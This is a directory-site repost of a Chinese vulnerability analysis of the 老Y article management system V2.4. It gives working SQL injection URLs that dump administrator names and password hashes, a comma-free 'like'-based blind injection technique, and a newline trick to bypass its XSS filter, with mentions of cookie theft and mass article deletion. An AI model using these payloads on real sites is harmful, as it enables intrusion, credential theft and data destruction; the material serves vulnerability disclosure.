网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

老Y文章管理系统V2.4漏洞分析下载

来源:黑吧安全网 浏览:883次 时间:2014-04-29
简介:[关键字]:CheckStr()函数、LoseHtml()函数、绕过逗号、通配符、换行符、另类手工注入、跨站 [技术要点]: 1、爆出老Y最新的四个漏洞; 2、利用正则表达式“(\)

 [关键字]:CheckStr()函数、LoseHtml()函数、绕过逗号、通配符、换行符、另类手工注入、跨站 

[技术要点]: 
     1、爆出老Y最新的四个漏洞; 
     2、利用正则表达式“(\<.+?\>)”中的“.”含义为“匹配除换行符以外的任意字符”,在Html语句的标签中插入“换行符”即可饶过正则表达式的过滤; 
     3、绕过逗号,另类手工注入。CheckStr()函数过滤了逗号,所以不能使用多参数的函数,比如字符串截取函数mid(),也不能使用union语句,因为union 语句必须保证字段数一致,还不能使用“<”、“>”、“=”等符号,所以使用select的like语句逐位猜解与密码的MD5码相匹配的字符,取值范围:0-9,A-F(不区分大小); 
     4、给出一段字符串与Unicode字符转换的代码; 
[主要内容]: 
     老Y采用伪静态页面(由/Html/Index.asp调用),代码相当简洁,过滤也非常严密,数字型使用LaoYRequest()、字符型使用CheckStr()等函数进行过滤防止注入,文本内容使用LoseHtml()函数过滤防止跨站;功能比较全面,有新闻固顶、公告、留言、评论、RSS、用户注册、网站风格以及简繁体选择等等,动态页面文件较少。 
     但是智者千虑必有一疏,本文对老Y做了全面剖析,我们再次感受到安全必须要过滤严密!老Y的CheckStr()函数因为过滤了逗号才躲过致命一劫,但是疏忽了括号,导致我们可以巧妙构造Sql语句达到注入目的。本文涉及到一种另类的手工注入方法,即绕过mid等函数利用了like关键字进行字符猜解,注入漏洞二还会完全摧毁老Y——删除所有文章,使其仅剩“躯壳”——网站框架。又因为老Y的LoseHtml()函数在使用正则表达式时存在缺陷,所以导致我们可以利用插入换行符的方法提交跨站脚本,评论跨站还将影响网站首页!如果提交页面跳转、关闭、死循环等脚本,即可完成DDOS类似攻击,还可以获取管理员Cookie、网页挂马、传播蠕虫等其他跨站攻击。总之这一切均因为老Y函数过滤不足所致!最后提醒大家:使用老Y时务必修改管理员用户表名及后台管理目录。 
   漏洞一:js.asp页面漏洞。此漏洞由幻泉(bl4ck)发现。由于js.asp页面在处理使用CheckStr()函数过滤后的字符时,将其中的“|”分割符又还原为“,”(即逗号),导致注入。 
利用链接: 
Code:
http://127.0.0.1/laoy/js.asp?maxlen=50&num=5&ClassNo=1|1|1)%09Union%09Select%091|cstr(id)%2Bchr(58)%2Badmin_name%2Bchr(58)%2Badmin_pass|3|4|5|6|7|8|9%09From%09yao_admin%09Where%09(1
//其中maxlen和num参数不能少 
//cstr()函数将数字型字段id的值转为字符串, 
//%2B即“+” 用作连接id、admin_name、admin_pass字段 
// chr(58)即“:”为分割符
     注意:版本2.3和2.4后台认证方式的差异:前者管理员密码使用16位的MD5码,登陆认证使用Session;后者管理员密码使用截取的18位MD5码(adminpwd=Mid(md5(adminpwd,32),4,18)),登陆认证使用Cookie。令人费解的变化:2.3版本虽然Session无法伪造,但是16位的MD5码可以在线或爆破,2.4版本改为截取的18位MD5码后虽然不能破解(除非自己编写爆破工具),但是却可以进行Cookie欺骗!这比破解MD5码更方便。 
    漏洞二:User/UserAdd.asp页面漏洞。由于在User/UserAdd.asp页面中,edit()、saveedit()模块使用CheckStr()函数过滤数字型变量ID,导致可以手工注入获得管理员密码,del()、delAll()模块未过滤变量ID,导致用户可以任意删除文章。此漏洞需要登陆用户后才能利用。 
edit()模块漏洞利用: 
    修改任意文章。从代码不难看出,如果令id为“168 OR 1”确保Sql语句返回非空集,便会打开id为168的文章编辑界面,而且saveedit()模块同样存在此漏洞,导致我们可以修改任意文章。需要注意的是经过编辑后的文章将变为未审。当然如果仅仅可以修改任意文章的话,此漏洞的利用价值就不是很高,所以让我们继续发掘吧。 
    注入管理员密码。通过前面介绍,我们知道2.3版本没有过滤逗号,因此构造union语句相对比较容易,而2.4版本过滤了逗号,利用需要一些技巧,所以这里分别进行介绍。 
绕过逗号,另类的手工注入。CheckStr()函数过滤了逗号,所以不能使用多参数的函数,比如字符串截取函数mid(),也不能使用union语句,因为union 语句必须保证字段数一致,还不能使用“<”、“>”、“=”等符号,这给我们手工注入提出了挑战。于是考虑到使用select的like语句,基本语法如下: 
Code:
Select * from yao_admin where admin_pass like '1*' 
Select * from yao_admin where admin_pass like '1****************?' 
//因为admin_pass长度为18,所以使用“1”和17个“?”进行匹配,如果密码第一个字符为“1”则Select语句有返回,否则无返回。这与IIF函数有异曲同工之效。
因为CheckStr()函数过滤了单、双引号,所以引入子查询,得到衍生语句: 
Code:
select top 1 * from yao_admin where admin_pass like (Select chr(49)+chr(42) from yao_admin) 
// chr(49)为数字1,chr(42)为字符“*”,chr(63)为字符“?”
     修改“*”为一个自己添加的文章ID,比如185,可以先“发表新文章”获得该文章的ID。现给出利用的URL,如下: 
Code:
http://127.0.0.1/laoy/User/UserAdd.asp?action=edit&id=(Select%09top%091%09185%09From%09yao_admin%09Where%09admin_pass%09Like%09(Select%09chr(49)%2Bchr(37) %09From%09yao_admin)) 
//在ACCESS的查询界面中的通配符“*”、“?”如果用在用 ADO 来执行的JET SQL语句中应该为“%”、“_”,chr(37)为字符“%”

0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/839.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站